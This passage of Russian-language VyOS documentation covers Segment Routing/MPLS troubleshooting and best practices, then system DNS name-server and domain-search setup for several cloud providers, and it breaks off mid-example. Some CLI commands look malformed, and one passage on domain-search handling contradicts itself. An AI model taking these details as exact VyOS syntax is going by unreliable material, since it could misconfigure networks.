# Проверить, настроены ли Prefix-SID
show running-config protocols isis | match "prefix.*index"
show running-config protocols ospf | match "prefix.*index"

# Проверить MPLS на интерфейсах
show mpls interface

# Проверить соседства IGP
show isis neighbors
show ip ospf neighbor
```

**Решения**:

1. **SR не включен**:
   ```bash
   set protocols isis SR segment-routing enable
   # или
   set protocols ospf segment-routing enable
   commit
   ```

2. **SRGB не настроен или некорректен**:
   ```bash
   set protocols segment-routing global-block low-label-value 16000
   set protocols segment-routing global-block high-label-value 23999
   commit
   ```

3. **Prefix-SID не назначен**:
   ```bash
   set protocols isis SR segment-routing prefix 10.0.0.1/32 index value 1
   commit
   ```

4. **MPLS не включен на интерфейсах**:
   ```bash
   set protocols mpls interface eth1
   commit
   ```

5. **Разные SRGB на узлах** (критическая ошибка):
   ```bash
   # Проверить на всех узлах
   show running-config protocols segment-routing global-block
   # Привести к единому значению
   ```

### Проблема 2: TI-LFA не защищает маршруты

**Симптомы**:
- `show isis fast-reroute summary` показывает "No backup available"
- При отказе линка происходит долгая конвергенция
- Пакеты теряются при failover

**Диагностика**:

```bash
# Проверить, включен ли TI-LFA
show running-config protocols isis | match fast-reroute
show running-config protocols ospf | match ti-lfa

# Проверить топологию
show isis topology
show ip ospf database

# Проверить вычисленные пути
show isis fast-reroute detail
```

**Решения**:

1. **TI-LFA не включен глобально**:
   ```bash
   set protocols isis fast-reroute lfa local priority-limit critical
   # или для OSPF
   set protocols ospf fast-reroute ti-lfa enable
   commit
   ```

2. **TI-LFA не включен на интерфейсах**:
   ```bash
   set protocols isis interface eth1 fast-reroute lfa local enable
   # или для OSPF
   set protocols ospf interface eth1 fast-reroute ti-lfa enable
   commit
   ```

3. **Недостаточная связность топологии**:
   - TI-LFA требует альтернативных путей
   - Проверить наличие резервных линков
   - В линейной топологии (A-B-C) TI-LFA не может защитить все префиксы

4. **Метрики не позволяют найти LFA**:
   ```bash
   # Проверить метрики интерфейсов
   show isis interface detail
   # Настроить метрики для лучшей балансировки
   set protocols isis interface eth2 metric 20
   commit
   ```

### Проблема 3: MPLS метки не назначаются корректно

**Симптомы**:
- Метки выходят за пределы SRGB
- Конфликты меток
- `show mpls table` показывает неожиданные значения

**Диагностика**:

```bash
# Проверить назначенные индексы
show isis segment-routing prefix-sids
show ip ospf segment-routing prefix-sids

# Проверить SRGB
show running-config protocols segment-routing global-block

# Проверить MPLS таблицу
show mpls table

# Проверить динамические метки LDP (если используется)
show mpls ldp binding
```

**Решения**:

1. **Индекс выходит за пределы SRGB**:
   ```bash
   # Если SRGB = 16000-23999 (размер 8000), индекс не может быть > 7999
   # Исправить индекс
   delete protocols isis SR segment-routing prefix 10.0.0.1/32 index value 10000
   set protocols isis SR segment-routing prefix 10.0.0.1/32 index value 1
   commit
   ```

2. **Конфликт с динамическими метками**:
   ```bash
   # Проверить диапазоны
   show mpls table
   # Убедиться, что SRGB не пересекается с LDP labels (обычно 1024+)
   # Рекомендуемый SRGB: 16000-23999
   ```

3. **Дублирующиеся индексы**:
   ```bash
   # На разных узлах не должно быть одинаковых индексов для разных префиксов
   # Проверить уникальность на всех узлах
   show isis segment-routing prefix-sids
   ```

### Проблема 4: SR Policies не работают

**Симптомы**:
- Трафик не следует по явно заданному пути
- Пакеты идут по shortest path вместо SR policy
- Ошибки при установке SR policy

**Диагностика**:

```bash
# Проверить routing tables
show ip route table all

# Проверить policy routing
show policy route

# Трассировка с MPLS
traceroute mpls <destination>

# Проверить MPLS forwarding
show mpls fib
```

**Решения**:

1. **Policy routing не применена на интерфейсе**:
   ```bash
   set interfaces ethernet eth0 policy route MY_POLICY
   commit
   ```

2. **Некорректный список SID**:
   ```bash
   # Убедиться, что все SID в пути доступны
   show isis segment-routing prefix-sids
   # Проверить, что путь действительно существует
   traceroute 10.0.0.5
   ```

3. **Static route с segments не установлен**:
   ```bash
   # Проверить наличие маршрута
   show ip route table 100
   # Установить, если отсутствует
   set protocols static table 100 route 10.0.0.5/32 segments 16002 16005
   commit
   ```

### Проблема 5: Высокая задержка или потеря пакетов при SR

**Симптомы**:
- Увеличенная задержка на SR paths
- Потеря пакетов при использовании SR
- Проблемы с MTU

**Диагностика**:

```bash
# Проверить MTU на интерфейсах
show interfaces ethernet eth1

# Проверить размер стека меток
show running-config protocols segment-routing maximum-label-stack-depth

# Тестирование MTU
ping 10.0.0.3 size 1500 do-not-fragment

# Проверить статистику MPLS
show mpls statistics
```

**Решения**:

1. **MTU не учитывает MPLS overhead**:
   ```bash
   # Каждая MPLS метка добавляет 4 байта
   # Для стека из 3 меток нужно +12 байт
   set interfaces ethernet eth1 mtu 1512
   commit
   ```

2. **Слишком большой стек меток**:
   ```bash
   # Уменьшить количество SID в policy
   # Или использовать Binding SID (когда будет поддержка)
   set protocols segment-routing maximum-label-stack-depth 5
   commit
   ```

3. **Фрагментация на промежуточных узлах**:
   ```bash
   # Включить MPLS MTU на всех транзитных узлах
   set protocols mpls mtu 1500
   commit
   ```

### Проблема 6: SR не работает после обновления FRR

**Симптомы**:
- После обновления VyOS/FRR SR перестал работать
- Конфигурация на месте, но функционал не работает

**Диагностика**:

```bash
# Проверить версию FRR
show version

# Проверить логи FRR
show log
run show log | match -i "segment"

# Проверить состояние ISIS/OSPF daemon
show log | match -i isis
show log | match -i ospf
```

**Решения**:

1. **Рестарт FRR**:
   ```bash
   restart frr
   ```

2. **Переприменить конфигурацию**:
   ```bash
   # Сохранить конфигурацию
   save /tmp/config.boot
   # Перезагрузить
   reboot
   # Или
   load /tmp/config.boot
   commit
   ```

3. **Проверить совместимость конфигурации**:
   ```bash
   # Некоторые опции могли измениться
   # Проверить changelog VyOS
   # Обновить синтаксис при необходимости
   ```

## Best Practices

### 1. Планирование SRGB

**Рекомендации**:

- **Единый SRGB**: Используйте одинаковый SRGB на всех узлах в SR-домене
- **Резервирование диапазона**: Не используйте весь SRGB, оставьте резерв для расширения
- **Избегайте конфликтов**: SRGB не должен пересекаться с динамическими метками (LDP: 1024+)
- **Документация**: Ведите таблицу распределения индексов SID

**Рекомендуемые диапазоны**:

```
Small networks (<100 nodes):  SRGB 16000-17999 (2000 labels)
Medium networks (<1000 nodes): SRGB 16000-23999 (8000 labels)
Large networks (>1000 nodes):  SRGB 16000-80999 (65000 labels)
```

**Пример документации SID**:

```
Node-SID Allocation Table:
--------------------------
Index    Node         Loopback      Location
-----    ----         --------      --------
1        R1-MSK-PE1   10.0.0.1      Moscow DC1
2        R2-MSK-PE2   10.0.0.2      Moscow DC1
3        R3-SPB-PE1   10.0.0.3      SPb DC2
10-19    Core P       10.0.10.x     Core network
100-199  Anycast      10.100.x.x    Service groups
```

### 2. Naming и нумерация

**Loopback адресация**:

```bash
# Использовать согласованную схему для loopback
# Пример: 10.0.<POD>.<NODE>

# Moscow Pod 0
set interfaces loopback lo address 10.0.0.1/32  # PE1
set interfaces loopback lo address 10.0.0.2/32  # PE2

# SPb Pod 1
set interfaces loopback lo address 10.0.1.1/32  # PE1
set interfaces loopback lo address 10.0.1.2/32  # PE2

# Core
set interfaces loopback lo address 10.0.10.1/32  # P1
set interfaces loopback lo address 10.0.10.2/32  # P2
```

**SID индексы**:

```bash
# Привязать индекс к последнему октету loopback
# 10.0.0.1 -> Index 1
# 10.0.0.2 -> Index 2
# 10.0.10.1 -> Index 101
# 10.0.10.2 -> Index 102
```

### 3. Защита сети с помощью TI-LFA

**Включать TI-LFA везде**:

```bash
# На всех узлах и интерфейсах
set protocols isis fast-reroute lfa local priority-limit critical
set protocols isis interface eth1 fast-reroute lfa local enable
set protocols isis interface eth2 fast-reroute lfa local enable
```

**Приоритизация критичных префиксов**:

```bash
# Использовать priority-limit для защиты только важных маршрутов
set protocols isis fast-reroute lfa local priority-limit high
```

**Тестирование failover**:

```bash
# Регулярно тестировать отказоустойчивость
# Выключить интерфейс и проверить время конвергенции
set interfaces ethernet eth1 disable
commit
# Проверить routing table и MPLS FIB
show ip route
show mpls table
# Включить обратно
delete interfaces ethernet eth1 disable
commit
```

### 4. Мониторинг и логирование

**Включить детальное логирование SR**:

```bash
# Логирование IS-IS с SR
set system syslog global facility local7 level debug

# Логирование в отдельный файл
set system syslog file isis facility local7 level info
```

**Мониторинг ключевых метрик**:

```bash
# Создать скрипт мониторинга
cat > /config/scripts/sr-monitor.sh << 'EOF'
#!/bin/bash
# SR Monitoring Script

echo "=== SR Status ==="
date

echo "=== SRGB ==="
cli-shell-api showConfig protocols segment-routing

echo "=== SR Prefix-SIDs ==="
vtysh -c "show isis segment-routing prefix-sids"

echo "=== MPLS Table ==="
vtysh -c "show mpls table"

echo "=== TI-LFA Summary ==="
vtysh -c "show isis fast-reroute summary"

echo "=== MPLS Statistics ==="
ip -s -s link show | grep -A 10 eth
EOF

chmod +x /config/scripts/sr-monitor.sh

# Запуск по cron каждые 5 минут
set system task-scheduler task sr-monitor executable path /config/scripts/sr-monitor.sh
set system task-scheduler task sr-monitor interval 5m
```

**SNMP мониторинг**:

```bash
# Включить SNMP для MPLS MIB
set service snmp community public authorization ro
set service snmp community public network 192.168.100.0/24
```

### 5. Безопасность SR

**Аутентификация IGP**:

```bash
# IS-IS аутентификация
set protocols isis area-password plaintext-password 'SECRET_AREA_PWD'
set protocols isis domain-password plaintext-password 'SECRET_DOMAIN_PWD'

# OSPF аутентификация
set protocols ospf area 0 authentication md5
set protocols ospf area 0 area-type stub
set protocols ospf interface eth1 authentication md5 key-id 1 md5-key 'SECRET_KEY'
```

**Filtering и Protection**:

```bash
# Ограничить максимальную глубину стека меток
set protocols segment-routing maximum-label-stack-depth 5

# Фильтрация BGP маршрутов с метками (для VPN)
set policy route-map VPN-IMPORT rule 10 match ip address prefix-list ALLOWED-PREFIXES
```

**Rate Limiting для Control Plane**:

```bash
# Защита CPU от MPLS flood
set firewall group network-group MPLS-SOURCES network 10.0.0.0/8
set firewall name PROTECT_CP rule 10 source group network-group MPLS-SOURCES
set firewall name PROTECT_CP rule 10 protocol 89
set firewall name PROTECT_CP rule 10 action accept
set firewall name PROTECT_CP rule 10 limit rate 100/second
```

### 6. Оптимизация производительности

**Tuning IGP таймеров**:

```bash
# IS-IS fast convergence
set protocols isis fast-reroute lfa local load-sharing disable
set protocols isis spf-interval 1

# OSPF fast convergence
set protocols ospf parameters spf throttle delay 50
set protocols ospf parameters spf throttle initial-holdtime 50
set protocols ospf parameters spf throttle max-holdtime 5000
```

**MPLS оптимизация**:

```bash
# Отключить TTL propagation для безопасности
set protocols mpls no-propagate-ttl

# Использовать hardware offload (если поддерживается)
# Зависит от платформы
```

**Балансировка нагрузки**:

```bash
# ECMP для SR paths
set protocols isis max-paths 4

# OSPF ECMP
set protocols ospf parameters ecmp 4
```

### 7. Масштабирование

**Иерархическая архитектура**:

```bash
# Использовать разные area/level для масштабирования
# IS-IS: Level-1 для access, Level-2 для core
set protocols isis level level-1-2
set protocols isis interface eth0 level level-1
set protocols isis interface eth1 level level-2

# OSPF: Multiple areas
set protocols ospf area 0 network 10.0.0.0/24
set protocols ospf area 1 network 10.1.0.0/16
```

**Суммаризация маршрутов**:

```bash
# OSPF summary в ABR
set protocols ospf area 1 range 10.1.0.0/16

# IS-IS summary на границе level
set protocols isis redistribute ipv4 level-2 route-map SUMMARIZE
```

**Anycast SID для балансировки**:

```bash
# На нескольких PE назначить один и тот же Anycast SID
# PE1:
set protocols ospf segment-routing prefix 10.100.1.0/32 index value 101

# PE2:
set protocols ospf segment-routing prefix 10.100.1.0/32 index value 101

# Трафик будет балансироваться между PE1 и PE2
```

### 8. Миграция на SR

**Постепенная миграция с LDP**:

```bash
# Этап 1: Включить SR параллельно с LDP
set protocols segment-routing ...
set protocols mpls ldp ...

# Этап 2: Проверить, что SR paths работают
show mpls table

# Этап 3: Перенести критичные сервисы на SR
# (переконфигурация BGP VPN, L2VPN и т.д.)

# Этап 4: Отключить LDP
delete protocols mpls ldp
commit
```

**Тестирование перед production**:

```bash
# Создать тестовую среду (GNS3, EVE-NG)
# Протестировать все сценарии:
# - Normal operation
# - Link failure
# - Node failure
# - SR policy application
# - TI-LFA convergence
```

### 9. Backup и восстановление

**Регулярный backup конфигурации**:

```bash
# Автоматический backup
cat > /config/scripts/backup-config.sh << 'EOF'
#!/bin/bash
BACKUP_DIR="/config/backups"
DATE=$(date +%Y%m%d-%H%M%S)
FILENAME="config-${DATE}.boot"

mkdir -p $BACKUP_DIR
cli-shell-api showConfig > $BACKUP_DIR/$FILENAME

# Хранить только последние 10 backup
ls -t $BACKUP_DIR/config-*.boot | tail -n +11 | xargs rm -f
EOF

chmod +x /config/scripts/backup-config.sh

# Ежедневный backup в 02:00
set system task-scheduler task backup-config executable path /config/scripts/backup-config.sh
set system task-scheduler task backup-config interval 1d
```

**Документирование изменений**:

```bash
# Commit с комментарием
commit comment "Added SR for new DC2 PE nodes"

# Просмотр истории
show system commit

# Откат к предыдущей конфигурации
rollback 1
commit
```

### 10. Интеграция с внешними системами

**Интеграция с NetBox/IPAM**:

```python
# Скрипт для синхронизации SID из NetBox
import pynetbox
import paramiko

nb = pynetbox.api('https://netbox.example.com', token='TOKEN')
devices = nb.dcim.devices.filter(role='router', site='moscow')

for device in devices:
    loopback_ip = device.primary_ip4.address.split('/')[0]
    sid_index = int(loopback_ip.split('.')[-1])

    # Генерация конфигурации SR
    config = f"""
    set protocols ospf segment-routing prefix {loopback_ip}/32 index value {sid_index}
    """

    # Применение через SSH (используйте с осторожностью!)
    # ... SSH подключение и конфигурация ...
```

**Prometheus мониторинг**:

```bash
# Экспорт метрик MPLS через node_exporter textfile collector
cat > /config/scripts/mpls-metrics.sh << 'EOF'
#!/bin/bash
METRICS_FILE="/var/lib/node_exporter/textfile_collector/mpls.prom"

# MPLS table size
MPLS_TABLE_SIZE=$(vtysh -c "show mpls table" | grep -c "^[0-9]")
echo "vyos_mpls_table_size $MPLS_TABLE_SIZE" > $METRICS_FILE

# SR Prefix-SID count
SR_PREFIX_COUNT=$(vtysh -c "show isis segment-routing prefix-sids" | grep -c "^  ")
echo "vyos_sr_prefix_sid_count $SR_PREFIX_COUNT" >> $METRICS_FILE

# TI-LFA protected routes
TILFA_PROTECTED=$(vtysh -c "show isis fast-reroute summary" | grep -oP '\d+(?= prefixes protected)')
echo "vyos_tilfa_protected_prefixes ${TILFA_PROTECTED:-0}" >> $METRICS_FILE
EOF

chmod +x /config/scripts/mpls-metrics.sh

# Каждую минуту
set system task-scheduler task mpls-metrics executable path /config/scripts/mpls-metrics.sh
set system task-scheduler task mpls-metrics interval 1m
```

## Ограничения текущей реализации

VyOS реализует Segment Routing на базе FRRouting, который имеет следующие ограничения:

### Текущие ограничения (VyOS 1.4/1.5)

1. **Binding SID**: Не поддерживается
2. **SRLB (Segment Routing Local Block)**: Конфигурация не доступна
3. **Множественные SRGB**: Поддерживается только один SRGB
4. **Flex-Algo**: Не реализован (только SPF algorithm)
5. **Level Redistribution**: Не поддерживается для SR в IS-IS
6. **SR-TE (Traffic Engineering)**: Ограниченная поддержка, нет динамических SR policies
7. **SRv6**: Не реализовано в VyOS (есть в upstream FRR)
8. **SR-MPLS с BGP-LS**: Не интегрировано
9. **PCE (Path Computation Element)**: Нет поддержки внешнего PCE

### Workarounds

**Для SR-TE политик**:

```bash
# Использовать статические маршруты с явным списком SID
set protocols static route 10.5.0.0/16 segments 16002 16005 16008
```

**Для Anycast (вместо Binding SID)**:

```bash
# Назначить одинаковый Prefix-SID на нескольких узлах
# Узел 1:
set protocols ospf segment-routing prefix 10.100.1.1/32 index value 100
# Узел 2:
set protocols ospf segment-routing prefix 10.100.1.1/32 index value 100
```

## Дополнительные ресурсы

### Официальная документация

- [VyOS Segment Routing Documentation](https://docs.vyos.io/en/latest/configuration/protocols/segment-routing.html)
- [FRRouting Segment Routing](http://docs.frrouting.org/en/latest/segment-routing.html)
- [IETF Segment Routing Architecture (RFC 8402)](https://datatracker.ietf.org/doc/html/rfc8402)
- [Segment Routing with IS-IS (RFC 8667)](https://datatracker.ietf.org/doc/html/rfc8667)
- [Segment Routing with OSPF (RFC 8665)](https://datatracker.ietf.org/doc/html/rfc8665)

### Полезные RFC

- **RFC 8402**: Segment Routing Architecture
- **RFC 8660**: Segment Routing with MPLS data plane
- **RFC 8665**: OSPF Extensions for Segment Routing
- **RFC 8666**: OSPFv3 Extensions for Segment Routing
- **RFC 8667**: IS-IS Extensions for Segment Routing
- **RFC 8919**: IS-IS Application-Specific Link Attributes
- **RFC 9256**: Segment Routing Policy Architecture

### Инструменты и утилиты

```bash
# VyOS CLI
show segment-routing
show isis segment-routing
show ip ospf segment-routing
show mpls table
show mpls fib

# FRRouting vtysh
vtysh -c "show segment-routing srv6 locator"
vtysh -c "show isis segment-routing node"
vtysh -c "show mpls table"

# Linux kernel MPLS
ip -M route show
ip -M route show table all

# MPLS трассировка
traceroute -m 30 -M mpls <destination>
```

### Примеры конфигураций

Полные рабочие примеры доступны в:

- [VyOS Examples Repository](https://github.com/vyos/vyos-documentation/tree/current/docs/configuration/protocols/examples)
- [FRR SR Examples](https://github.com/FRRouting/frr/tree/master/tests/topotests/isis_sr_topo1)

## Заключение

Segment Routing представляет собой современный подход к управлению трафиком в MPLS-сетях, обеспечивающий:

- Упрощение операционного управления (без LDP, RSVP-TE)
- Гибкое traffic engineering с помощью SR policies
- Быструю конвергенцию с TI-LFA (<50ms failover)
- Масштабируемость для крупных сетей
- Совместимость с существующей MPLS инфраструктурой

VyOS с поддержкой SR-MPLS через FRRouting позволяет строить современные сетевые решения для облачных провайдеров, ISP и enterprise-сетей. При правильном планировании SRGB, грамотной архитектуре и следовании best practices, Segment Routing обеспечивает надежную и гибкую платформу для критичных сетевых сервисов.

Регулярный мониторинг, тестирование failover сценариев и документирование конфигурации являются ключевыми факторами успешной эксплуатации SR-based сетей.

---

**Дата последнего обновления**: 2025-10-15
**Версия документа**: 1.0
**Применимо к**: VyOS 1.4 (Sagitta), VyOS 1.5 (Circinus)


---

# Name Server - Системные DNS серверы

Source: https://opennix.org/docs/vyos/system/vyos-name-server/


Данная страница описывает настройку системных DNS серверов (name-server) и списка доменов для поиска (domain-search) в VyOS. Эти параметры определяют, как система VyOS разрешает доменные имена для всех системных операций.

## Обзор

Системные DNS серверы в VyOS используются для:

- **Разрешения доменных имен** для всех системных процессов
- **Обновления пакетов** через apt/dpkg
- **NTP синхронизации** (если NTP серверы указаны по имени)
- **Загрузки образов контейнеров** (Docker/Podman)
- **VPN подключений** к удаленным endpoint по имени
- **Syslog отправки** на удаленные серверы по имени
- **Monitoring и alerting** систем
- **API вызовов** к внешним сервисам

### Важные замечания

**Отличие от DNS forwarding:**
- `system name-server` - DNS для самой системы VyOS
- `service dns forwarding` - DNS сервер, который VyOS предоставляет клиентам

**Приоритет конфигурации:**
- Статическая конфигурация `system name-server` имеет приоритет над DNS, полученными через DHCP
- Если настроены оба, используются только статические серверы
- DHCP DNS используются только если `system name-server` не настроен

**VRF ограничения:**
- В текущих версиях VyOS нет способа принудительно направить системный DNS трафик через определенный VRF
- Системные DNS запросы используют default VRF независимо от настроек management VRF

**Файл конфигурации:**
- Конфигурация DNS записывается в `/etc/resolv.conf`
- Файл генерируется автоматически при commit, не редактируйте вручную
- Изменения применяются немедленно ко всем системным процессам

## Конфигурация DNS серверов

### Базовая настройка

#### IPv4 DNS серверы

```bash
# Добавить первый DNS сервер
set system name-server 8.8.8.8

# Добавить второй DNS сервер (резервный)
set system name-server 8.8.4.4

# Применить конфигурацию
commit
save
```

#### IPv6 DNS серверы

```bash
# Добавить IPv6 DNS сервер
set system name-server 2001:4860:4860::8888
set system name-server 2001:4860:4860::8844

commit
save
```

#### Dual-stack конфигурация

```bash
# Смешанная конфигурация IPv4 + IPv6
set system name-server 8.8.8.8
set system name-server 8.8.4.4
set system name-server 2001:4860:4860::8888
set system name-server 2001:4860:4860::8844

commit
save
```

### Множественные DNS серверы

VyOS поддерживает настройку нескольких DNS серверов. Порядок имеет значение - серверы опрашиваются последовательно в порядке добавления.

```bash
# Первый сервер - основной (используется первым)
set system name-server 192.168.1.53

# Второй сервер - резервный
set system name-server 192.168.1.54

# Третий сервер - fallback
set system name-server 8.8.8.8

commit
save
```

**Поведение резолвера:**
- При недоступности первого сервера автоматически используется второй
- При недоступности второго - третий
- Timeout на каждый сервер составляет 5 секунд по умолчанию
- Максимум 3 сервера рекомендуется (ограничение `/etc/resolv.conf`)

### Удаление DNS серверов

```bash
# Удалить конкретный DNS сервер
delete system name-server 8.8.4.4

# Удалить все DNS серверы
delete system name-server

commit
save
```

## Domain Search List

### Описание

Domain-search (список доменов для поиска) определяет суффиксы, автоматически добавляемые к неполным доменным именам при резолюции.

**Принцип работы:**
- При запросе короткого имени (например, `server1`) система добавляет суффиксы из списка
- Запросы выполняются последовательно: `server1.first-domain.com`, `server1.second-domain.com`, и т.д.
- При нахождении первого успешного разрешения поиск прекращается
- Полные доменные имена (с точкой в конце или содержащие точки) не модифицируются

**Ограничения RFC:**
- Максимум 6 доменов в списке
- Каждый домен: максимум 253 символа
- Допустимые символы: буквы, цифры, дефисы, точки
- Домен не может начинаться или заканчиваться дефисом

### Конфигурация

#### Базовая настройка

```bash
# Добавить первый домен для поиска
set system domain-search vyos.io

# Добавить дополнительные домены
set system domain-search vyos.net
set system domain-search vyos.network

commit
save
```

#### Результат в /etc/resolv.conf

```bash
# После применения конфигурации:
# nameserver 8.8.8.8
# nameserver 8.8.4.4
# search vyos.io vyos.net vyos.network
```

#### Проверка работы

```bash
# При настроенном domain-search: example.com

# Запрос короткого имени
vyos@router:~$ ping server1
# Система пробует: server1.example.com

# Запрос с точкой в конце (FQDN) - суффикс не добавляется
vyos@router:~$ ping server1.other-domain.org.
# Система запрашивает: server1.other-domain.org (без изменений)

# Запрос полного имени (содержит точки) - суффикс добавляется
vyos@router:~$ ping server1.local
# Система пробует: server1.local.example.com, затем server1.local
```

### Удаление domain-search

```bash
# Удалить конкретный домен
delete system domain-search vyos.network

# Удалить все домены
delete system domain-search

commit
save
```

## Приоритет DNS конфигурации

### Статическая vs DHCP конфигурация

VyOS поддерживает получение DNS серверов через DHCP на WAN интерфейсах, но статическая конфигурация имеет приоритет.

**Поведение:**
1. Если настроены статические `system name-server` - используются только они
2. Если статические серверы не настроены, используются DNS из DHCP
3. Если DHCP не предоставляет DNS и нет статических - система использует встроенный fallback (127.0.0.1 для локального кэша DNS, если включен)

#### Пример 1: Только статические серверы

```bash
# Статическая конфигурация
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# DHCP на WAN интерфейсе (предоставляет DNS, но они игнорируются)
set interfaces ethernet eth0 address dhcp

commit
save

# Результат: используются только 8.8.8.8 и 8.8.4.4
```

#### Пример 2: Только DHCP серверы

```bash
# Нет статической конфигурации name-server

# DHCP на WAN интерфейсе (предоставляет DNS)
set interfaces ethernet eth0 address dhcp

commit
save

# Результат: используются DNS серверы, полученные через DHCP
```

#### Пример 3: Гибридная конфигурация (не работает как ожидается)

```bash
# ОШИБКА: Попытка совместить статические и DHCP DNS
set system name-server 8.8.8.8
set interfaces ethernet eth0 address dhcp

# Результат: используется только 8.8.8.8, DHCP DNS игнорируются
```

**Рекомендация:**
- Для production систем используйте только статические DNS серверы
- DHCP DNS оставляйте для временных или тестовых конфигураций
- Не смешивайте оба подхода - это приводит к путанице

### Переопределение DHCP DNS

Если нужно использовать статические DNS вместо DHCP:

```bash
# Отключить получение DNS через DHCP на интерфейсе
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 dhcp-options no-default-route
set interfaces ethernet eth0 dhcp-options reject nameserver

# Настроить статические DNS
set system name-server 8.8.8.8
set system name-server 8.8.4.4

commit
save
```

**Примечание:** Опция `reject nameserver` может быть недоступна в некоторых версиях VyOS. В таком случае просто настройте статические серверы - они будут иметь приоритет.

## Облачные провайдеры

### Yandex Cloud

Yandex Cloud предоставляет внутренние DNS серверы для резолюции внутренних имен виртуальных машин и сервисов.

#### Использование внутреннего DNS Yandex Cloud

```bash
# Внутренний DNS сервер Yandex Cloud (второй IP из подсети)
# Для подсети 10.128.0.0/24 это будет 10.128.0.2
set system name-server 10.128.0.2

commit
save
```

**Принцип работы:**
- Каждая подсеть в Yandex Cloud имеет встроенный DNS сервер на втором IP адресе
- Для подсети `10.128.0.0/24` DNS: `10.128.0.2`
- Для подсети `192.168.1.0/24` DNS: `192.168.1.2`
- Резолвит внутренние FQDN виртуальных машин: `vm-name.auto.internal`

#### Использование публичных DNS Yandex

```bash
# Публичные DNS серверы Yandex (77.88.8.8)
set system name-server 77.88.8.8
set system name-server 77.88.8.1

commit
save
```

**Характеристики Yandex DNS:**
- Адреса: `77.88.8.8`, `77.88.8.1`
- Поддержка DNSSEC
- Фильтрация вредоносных сайтов (опционально)
- Низкая латентность для клиентов в России

#### Гибридная конфигурация Yandex Cloud

```bash
# Внутренний DNS для локальных имен + публичный для интернета
set system name-server 10.128.0.2
set system name-server 77.88.8.8
set system name-server 77.88.8.1

# Domain-search для внутренних имен
set system domain-search auto.internal
set system domain-search ru-central1.internal

commit
save
```

#### Пример полной конфигурации для Yandex Cloud

```bash
configure

# Hostname
set system host-name vyos-gateway-ru-central1-a
set system domain-name ru-central1.internal

# DNS конфигурация
# Первый - внутренний DNS Yandex Cloud (резолвит *.auto.internal)
set system name-server 10.128.0.2

# Второй - публичный DNS Yandex (для внешних имен)
set system name-server 77.88.8.8

# Третий - резервный публичный DNS
set system name-server 77.88.8.1

# Domain search для автоматического добавления суффиксов
set system domain-search ru-central1.internal
set system domain-search auto.internal

# NTP серверы (для проверки DNS резолюции)
set service ntp server ntp1.yandex.ru
set service ntp server ntp2.yandex.ru

commit
save
exit
```

**Проверка:**

```bash
# Проверить внутреннюю резолюцию
vyos@vyos-gateway-ru-central1-a:~$ nslookup vm-name.auto.internal
# Должен резолвится через 10.128.0.2

# Проверить внешнюю резолюцию
vyos@vyos-gateway-ru-central1-a:~$ nslookup google.com
# Должен резолвится через 77.88.8.8

# Проверить конфигурацию
vyos@vyos-gateway-ru-central1-a:~$ cat /etc/resolv.conf
# nameserver 10.128.0.2
# nameserver 77.88.8.8
# nameserver 77.88.8.1
# search ru-central1.internal auto.internal
```

### VK Cloud (Cloud.ru)

VK Cloud предоставляет внутренние DNS серверы для резолюции виртуальных машин внутри проекта.

#### Использование внутреннего DNS VK Cloud

```bash
# Внутренний DNS сервер VK Cloud (второй IP из подсети)
# Для подсети 10.0.0.0/24 это будет 10.0.0.2
set system name-server 10.0.0.2

commit
save
```

**Принцип работы:**
- Аналогично Yandex Cloud, каждая подсеть имеет DNS на втором IP
- Резолвит внутренние FQDN виртуальных машин
- Формат FQDN: `vm-name.mcs.local` или `vm-name.cloud.local`

#### Использование публичных DNS VK Cloud

VK Cloud не предоставляет публичные DNS серверы. Рекомендуется использовать:

```bash
# Google DNS
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# Или Cloudflare DNS
set system name-server 1.1.1.1
set system name-server 1.0.0.1

# Или Yandex DNS
set system name-server 77.88.8.8
set system name-server 77.88.8.1

commit
save
```

#### Пример полной конфигурации для VK Cloud

```bash
configure

# Hostname
set system host-name vyos-gateway-msk1
set system domain-name msk1.cloud.vk.com

# DNS конфигурация
# Внутренний DNS VK Cloud (резолвит локальные VM)
set system name-server 10.0.0.2

# Публичные DNS для внешних имен
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# Domain search
set system domain-search msk1.cloud.vk.com
set system domain-search mcs.local

# NTP
set service ntp server 0.ru.pool.ntp.org
set service ntp server 1.ru.pool.ntp.org

commit
save
exit
```

### AWS (Amazon Web Services)

AWS предоставляет внутренний DNS резолвер для каждого VPC.

#### Использование Amazon Route 53 Resolver

```bash
# Amazon Route 53 Resolver (VPC DNS)
# Всегда доступен на IP: <VPC_CIDR_BASE> + 2
# Для VPC 10.0.0.0/16 это будет 10.0.0.2
set system name-server 10.0.0.2

commit
save
```

**Принцип работы:**
- Адрес DNS: `<VPC_CIDR_BASE> + 2`
- Резолвит внутренние EC2 имена: `ip-10-0-1-5.ec2.internal`
- Резолвит Route 53 Private Hosted Zones
- Перенаправляет публичные запросы в интернет

#### Пример для AWS

```bash
configure

# Hostname
set system host-name vyos-gateway-us-east-1a
set system domain-name us-east-1.compute.internal

# DNS конфигурация
set system name-server 10.0.0.2

# Domain search для EC2
set system domain-search us-east-1.compute.internal
set system domain-search ec2.internal

# NTP (AWS Time Sync Service)
set service ntp server 169.254.169.123

commit
save
exit
```

### Azure (Microsoft Azure)

Azure предоставляет встроенный DNS для каждого виртуального сетевого окружения.

#### Использование Azure DNS

```bash
# Azure Virtual Network DNS
# Адрес: 168.63.129.16 (специальный Azure metadata IP)
set system name-server 168.63.129.16

commit
save
```

**Принцип работы:**
- Адрес: `168.63.129.16` (используется для всех VNet)
- Резолвит внутренние Azure VM имена
- Поддерживает Azure Private DNS Zones
- Перенаправляет публичные запросы

#### Пример для Azure

```bash
configure

# Hostname
set system host-name vyos-gateway-westeurope
set system domain-name internal.cloudapp.net

# DNS конфигурация
set system name-server 168.63.129.16

# Domain search
set system domain-search internal.cloudapp.net

# NTP (Azure NTP)
set service ntp server time.windows.com

commit
save
exit
```

### Google Cloud Platform (GCP)

GCP предоставляет внутренний DNS резолвер для каждой VPC сети.

#### Использование Google Cloud DNS

```bash
# Google Cloud DNS (metadata server)
set system name-server 169.254.169.254

# Или использовать внутренний DNS VPC
# Для подсети 10.128.0.0/20 это будет 10.128.0.2
set system name-server 10.128.0.2

commit
save
```

**Принцип работы:**
- Metadata DNS: `169.254.169.254`
- VPC DNS: `<SUBNET_CIDR_BASE> + 2`
- Резолвит внутренние GCP VM имена: `vm-name.c.project-id.internal`
- Поддерживает Cloud DNS Private Zones

#### Пример для GCP

```bash
configure

# Hostname
